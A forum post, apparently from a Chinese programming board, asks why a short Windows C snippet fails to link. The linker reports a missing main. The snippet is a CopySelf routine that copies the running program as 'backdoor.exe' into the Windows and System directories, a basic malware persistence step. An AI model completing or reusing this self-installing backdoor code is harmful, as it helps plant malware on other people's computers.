额，各位大神，这个为什么运行不出来啊！！
#include<windows.h>void CopySelf()
{
char szSelfName[MAX_PATH]={0};
char szWindowsPath[MAX_PATH]={0};
char szSystemPath[MAX_PATH]={0};
char szTmpPath[MAX_PATH]={0};
GetModuleFileName(NULL,szSelfName,MAX_PATH);
GetWindowsDirectory(szWindowsPath,MAX_PATH);
GetSystemDirectory(szSystemPath,MAX_PATH);
strcat(szWindowsPath,"\\backdoor.exe");
strcat(szSystemPath,"\\backdoor.exe");
CopyFile(szSelfName,szWindowsPath,FALSE);
CopyFile(szSelfName,szSystemPath,FALSE);
}
运行时却显示这个
Linking...
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/dgsgsfd.exe : fatal error LNK1120: 1 unresolved externals
执行 link.exe 时出错.
